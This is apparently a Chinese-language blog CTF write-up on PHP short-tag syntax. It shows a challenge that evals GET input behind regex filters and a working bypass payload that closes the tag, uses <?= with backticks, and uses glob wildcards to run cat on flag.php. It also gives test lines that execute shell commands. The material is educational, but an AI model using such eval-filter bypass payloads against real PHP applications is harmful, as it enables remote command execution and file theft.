php的短标签绕过

一、 <?= ... ?>

注意:从 PHP 5.4.0 版本开始,这个标签始终可用,不受任何配置影响

这是 <?php echo ...; ?> 的快捷写法,专门用来输出变量或表达式的结果。

例如, <?= $username ?> 等同于 <?php echo $username; ?>

二、<? ... ?>

用法和 <?php ... ?> 一样,但更简短。

重要警告:这个标签默认是关闭的,需要在服务器的 php.ini 配置文件中开启 short_open_tag 才能生效。如果服务器没开启,你的代码会直接作为纯文本显示在网页上,导致程序出错

注:我在kali上面创建了test.php

<?=`ifconfig`;
<?=`cat ~/Desktop/web/302.php`;
均可以输出,注意要在末尾加上分号;

相当于<?php echo('shell_exec('ifconfig')');?>,注意要在末尾加上分号;

题目源码:

<?php 
error_reporting(0); 
//flag.php 
if( isset( $_GET['code'] ) )
{ 
$code = $_GET['code']; 
if( strlen( $code ) > 18 )
{ 
die("You really long, but i dont like more than 18cm"); 
} 
if ( preg_match( "/\w/", $code ) ) 
{ 
die("i dislike it");
} 
if ( preg_match( "/&|\||\^|\-|\!/", $code ) )
{ 
die("stop calculating");
} 
if ( preg_match( "/\(|\)/", $code ) ) 
{ 
die("call function is not safe"); 
} 
if ( preg_match( "/\(|\)/", $code ) ) 
{ 
die("call function is not safe");
} 
if ( preg_match( "/\{|\}|\[|\]/", $code ) )
{ 
die("fxcking brackets");
} 
if ( preg_match( "/\$|@|\./", $code ) ) 
{ 
die("$1 dou bu gei wo"); 
} 
eval( $code ); }//I believe that those noob hackers cannot hack me 
else { 
show_source(__FILE__);
} 

(1)长度限制:要小于18

(2)过滤了字母,数字,下划线,&,|,^ ,- ,!,{ },[ ] ,. ,$ ,@等等

分析:过滤了括号,取反和异或用不了

payload:

?code=?><?=`/???/???%20*`;

其中的<?=相当于<?php echo,而反引号``会把其中的字符当作命令来执行,相当于shell_exec,而?则可以匹配任意单个字符,*匹配例如flag.php这样的文件

他这个题目解释说是/???/???匹配到/bin/cat,*匹配到flag.php,就相当于执行了cat flag.php,但实际我用which cat查看cat的路径为/usr/bin/cat,也不知道为什么

posted @ 2026-06-18 12:27  Doll_Marker  阅读(8)  评论(0)    收藏  举报